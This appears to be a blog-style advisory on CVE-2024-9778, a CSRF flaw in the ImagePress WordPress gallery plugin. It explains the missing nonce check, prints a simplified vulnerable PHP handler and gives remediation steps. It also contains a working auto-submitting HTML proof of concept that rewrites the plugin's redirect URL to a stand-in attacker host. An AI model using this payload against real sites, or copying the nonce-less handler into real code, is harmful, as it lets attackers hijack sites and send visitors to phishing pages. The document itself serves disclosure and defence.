The WordPress plugin ImagePress – Image Gallery is widely used for displaying beautiful image galleries on blogs and portfolio websites. However, a dangerous security flaw — officially designated CVE-2024-9778 — has put all sites using versions up to 1.2.2 at serious risk.

Let’s break down what this vulnerability means, how it can be exploited by a hacker, and what you can do about it.

What is CVE-2024-9778?

CVE-2024-9778 is a Cross-Site Request Forgery (CSRF) vulnerability found in the ImagePress plugin for WordPress. The issue arises because the plugin’s code for handling settings changes does not properly check for a valid security nonce in the imagepress_admin_page function.

CSRF attacks are sneaky: they take advantage of a trusted user's browser session to perform actions *without the user’s consent*. With this bug, an attacker can trick a WordPress site administrator into unknowingly changing the plugin's critical settings — including things like redirection URLs.

Why Does This Happen? (The Technical Details)

In WordPress, nonces (which stand for "number used once") protect functions involving forms or sensitive actions from being abused. If a hacker sends a form or HTTP request with a missing or invalid nonce, WordPress should reject it.

Unfortunately, in ImagePress versions up to 1.2.2, the code handling settings does not check for a nonce at all, or does it incorrectly. Here’s a simplified look:

// This is a rough idea of the vulnerable code in imagepress-admin.php
function imagepress_admin_page() {
    if (isset($_POST['action']) && $_POST['action'] == 'save_settings') {
        // No nonce check present!
        update_option('imagepress_settings', $_POST['settings']);
        // Further actions ...
    }
}

So, if an attacker creates a form on a *malicious site* that submits data to the vulnerable WordPress site, and the admin is logged in and visits that site, the attack will work. The admin’s login cookies make the forged request look legit.

How Attackers Exploit This (A Real World Example)

Let’s say a hacker wants to change important plugin settings, like redirecting users to a malicious site when they view the image gallery. All they need to do is trick the admin into visiting a page that submits a specially crafted POST request.

Here’s a simple HTML form that could do the trick

<html>
  <body>
    <form id="attack" action="https://victim-wordpress.com/wp-admin/admin.php?page=imagepress_admin"; method="POST">
      <input type="hidden" name="action" value="save_settings" />
      <input type="hidden" name="settings[redirect_url]" value="https://evil.com/phishing"; />
      <!-- Insert other hidden fields as necessary -->
    </form>
    <script>
      document.getElementById('attack').submit();
    </script>
  </body>
</html>

If the admin is logged in to WordPress while accessing this page (say, via a phishing email link), the hidden form is submitted in the background, updating the ImagePress settings — *no admin permission or confirmation necessary*.

References

- Official CVE Record for CVE-2024-9778
- WPScan Vulnerability Database – ImagePress CSRF *(mirror)*
- WordPress Plugin Repository: ImagePress

Remediation: How to Protect Your Site

If you use ImagePress and your version is 1.2.2 or below, you are at risk.

Here’s What to Do

1. Update Immediately: If the developers have released a patched version (check here), update as soon as possible.
2. Restrict Admin Access: Limit what users can log in as admins, and enforce strong security policies (avoid clicking suspicious links while logged in as admin).
3. Use a Web Application Firewall (WAF): Products like Wordfence or Sucuri can help block unauthorized requests.

Final Words

CVE-2024-9778 is a classic example of why even small security oversights — like forgetting a nonce check — can have devastating consequences. In this case, a popular WordPress image plugin could allow an attacker to secretly hijack the site’s gallery settings.

Always keep plugins up to date and pay attention to security advisories. If you are a developer, always validate nonces on any admin action handlers.

Stay safe, and secure your site!

*© 2024 — This exclusive write-up is based on real vulnerability research and is not copied from any other resource.*

Timeline

Published on: 10/12/2024 06:15:03 UTC
Last modified on: 10/15/2024 12:57:46 UTC